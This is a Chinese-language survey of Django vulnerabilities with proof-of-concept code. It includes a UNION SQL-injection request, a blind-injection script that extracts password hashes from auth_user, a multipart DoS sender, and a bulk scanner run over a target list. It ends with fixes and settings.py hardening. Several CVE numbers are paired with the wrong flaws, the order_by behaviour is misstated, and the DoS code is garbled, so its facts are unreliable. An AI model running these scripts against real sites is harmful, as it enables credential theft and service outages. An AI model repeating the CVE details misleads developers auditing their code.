Django 历史漏洞全景
1. Django 安全模型依赖
- ORM 自动转义(filter 参数化,order_by 不参数化);
- 模板默认 HTML 实体编码;
- CSRF 中间件默认启用;
- 密码哈希用 PBKDF2。
漏洞根源: 开发者绕过了框架安全默认值。
2. ORM SQL 注入系列
2.1 order_by() 注入
# 漏洞代码
def list_articles(request):
sort_field = request.GET.get("sort", "id")
qs = Article.objects.all().order_by(sort_field) # 危险!
return render(request, "list.html", {"articles": qs})
PoC:
curl "http://victim.example.com/articles/?sort=id%20DESC%20UNION%20SELECT%201,username,password,4,5%20FROM%20auth_user--%20"
布尔盲注脚本:
import requests, time
def extract_password():
url = "http://victim.example.com/articles/"
result = ""
for pos in range(1, 40):
low, high = 32, 126
while low < high:
mid = (low + high) // 2
payload = f"id AND (SELECT ASCII(SUBSTRING(password,{pos},1)) FROM auth_user LIMIT 1)>{mid}"
r = requests.get(url, params={"sort": payload})
if len(r.text) > 1000:
low = mid + 1
else:
high = mid
result += chr(low)
print(result)
return result
extract_password()
修复:
ALLOWED_SORT = {"id", "title", "-title", "created_at", "-created_at"}
sort_field = request.GET.get("sort", "id")
if sort_field not in ALLOWED_SORT: sort_field = "id"
qs = Article.objects.all().order_by(sort_field)
2.2 values_list / values 注入
fields = request.GET.get("fields", "id,name")
qs = User.objects.values_list(*fields.split(",")) # 危险,字段名直接拼接
2.3 CVE-2021-33571 JSONField 注入
Django 3.1+ 的 JSONField 在 PostgreSQL 上用 @> 操作符,未参数化:
# 漏洞
qs = Profile.objects.filter(data__contains={key: "x"})
# PoC: key 传 "x} OR 1=1 -- "
2.4 raw() / extra()
# 危险
Article.objects.extra(where=[f"author = '{author}'"])
# 安全
Article.objects.raw("SELECT * FROM article WHERE author = %s", [author])
3. XSS 系列
3.1 CVE-2022-22818 CSP 绕过
django.views.static.serve 返回文件时 Content-Type 头可被构造路径绕过:
GET /static/script.js%00.jpg HTTP/1.1
Host: victim.example.com
3.2 CVE-2023-41164 URL 反规范化
trusted_origins 对 IDN 字符处理缺陷,配合 mark_safe 实现反射型 XSS。
3.3 模板红线
{# 危险 1 #}{{ user_input|safe }}
{# 危险 2 #}{% autoescape off %}{{ user_input }}{% endautoescape %}
{# 危险 3 #}{{ user_input|striptags }}{# 只删标签,不处理事件属性 #}
4. 其他高危
4.1 CVE-2024-24680 MultipartParser DoS
import socket
def send_poc(host, port):
s = socket.socket(); s.connect((host, port))
body = b"
" * 10 + b"--boundary
" * 1000000
req = (b"POST /upload HTTP/1.1
Host: " + host.encode() +
b"
Content-Type: multipart/form-data; boundary=boundary
" +
b"Content-Length: " + str(len(body)).encode() + b"
" + body)
s.sendall(req); s.close()
send_poc("victim.example.com", 80)
4.2 CVE-2019-14232 PostgreSQL JSONField 注入
4.3 CVE-2020-13254 缓存键注入
5. 检测脚本
import requests, urllib3
urllib3.disable_warnings()
def detect(url):
# order_by 盲注
r = requests.get(url, params={"sort": "id,pg_sleep(5)-- "}, timeout=15, verify=False)
if r.elapsed.total_seconds() > 5:
print(f"[!] {url} 存在 order_by 盲注")
# XSS
payload = "<script>alert(1)</script>"
r = requests.get(url, params={"q": payload}, verify=False, timeout=8)
if payload in r.text and "<script>" in r.text.lower():
print(f"[!] {url} 存在反射型 XSS")
for u in open("targets.txt"): detect(u.strip())
6. settings.py 安全加固
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"]
DEBUG = False
ALLOWED_HOSTS = ["app.example.com"]
SECURE_HSTS_SECONDS = 31536000
SECURE_SSL_REDIRECT = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
X_FRAME_OPTIONS = "DENY"
MIDDLEWARE = [
"django.middleware.security.SecurityMiddleware",
"django.contrib.sessions.middleware.SessionMiddleware",
"django.middleware.common.CommonMiddleware",
"django.middleware.csrf.CsrfViewMiddleware",
"django.contrib.auth.middleware.AuthenticationMiddleware",
"django.middleware.csp.CSPMiddleware",
]
好的审计优先关注: order_by 动态参数、mark_safe 使用位置、extra/raw 原生 SQL、autoescape off 作用域。